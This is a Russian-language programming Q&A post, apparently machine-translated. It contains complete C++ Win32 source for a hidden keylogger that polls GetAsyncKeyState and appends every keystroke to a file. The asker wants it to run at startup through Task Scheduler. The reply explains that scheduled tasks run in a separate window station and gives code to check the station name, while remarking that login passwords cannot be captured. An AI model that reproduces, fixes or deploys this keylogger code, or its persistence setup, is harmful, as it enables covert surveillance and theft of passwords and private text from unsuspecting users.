Программа C ++ Win32 неконсольное приложение с Windows taskschd.msc, не работает

Я сделал эту программу на C ++, в Win32, без консоли (приложение Win32). Предполагается, что программа получит весь ввод с клавиатуры и поместит его в файл: «file.txt».
Когда я запускаю программу через Visual Studio 2012, и когда я запускаю файл .exe программы, он работает просто отлично. Но проблема в том, когда я пытаюсь запустить его (файл .exe) через taskschd.msc — планировщик задач Windows: не работает.
Я следовал инструкциям о том, как запланировать программу в taskschd.msc, как описано здесь:
http://www.sevenforums.com/tutorials/67503-task-create-run-program-startup-log.html

Я сделал это с правами администратора.

Проблема в том, что, когда taskschd.msc запускает эту программу, я вижу в диспетчере задач, что программа была запущена, но по какой-то причине она не помещает никаких символов в файл.
Что я хочу, так это то, что даже когда программа запускается с taskschd.msc, она будет работать так же, как при активации вручную.
Я даже пытался запустить в планировщике задач программу .bat, которая запускает .exe, но это не помогает, хотя и работает нормально при активации вручную.
Я, как никто другой, не знаю, как это исправить.
это код:

  //Define the minimum operating system for the application:
#define _WIN32_WINNT _WIN32_WINNT_WINXP //Windows XP
//Get rid of the annoying min() and max() macros:
#define NOMINMAX
//Include the windows header:

#include <iostream>
#include <fstream>
#include <conio.h>
using namespace std;
#include <Windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

//if (OUTPUT_FILE == NULL )
//return -1;

if (key_stroke == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CTRL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESC]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if(key_stroke == VK_DELETE)
fprintf(OUTPUT_FILE, "%s", "[DEL]");
else if(key_stroke == VK_INSERT)
fprintf(OUTPUT_FILE, "%s", "[INS]");
else if(key_stroke == VK_CAPITAL)
fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == VK_BROWSER_BACK)
fprintf(OUTPUT_FILE, "%s", "[BROWSER_BACK]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);fclose (OUTPUT_FILE);
return 0;
}
int wWinMain(HINSTANCE hInst, HINSTANCE prevInst, LPWSTR szCmdLine, int nCmdShow)
{
while (1)
{
for(char i = 8; i <= 300; i++)
{
if (GetAsyncKeyState(i) == -32767)
if(Save (i,"File.txt")==-1)
return 0;
}
}

return 0;
}

0

Решение

Я не эксперт в этом вопросе, но в любом случае, я думаю, вы создали запланированное задание с выбранной опцией «Запускать, вошел пользователь или нет». Это делает планировщик задач для запуска задач в отдельности Оконная станция чтобы избежать путаницы с рабочим столом и (в вашем случае) устройствами ввода, такими как клавиатура и мышь.

Вы можете добавить следующий код в вашу программу, чтобы проверить, в какой Window Station работает ваша программа:

HWINSTA station = GetProcessWindowStation();
char buffer[1024];
BOOL result = GetUserObjectInformation(station, UOI_NAME, buffer, 1024, NULL);

если содержимое buffer переменная не WinSta0 тебе не повезло.

И нет, вы не сможете украсть пароль, введенный при входе в систему.

1

Другие решения

Других решений пока нет …

По вопросам рекламы [email protected]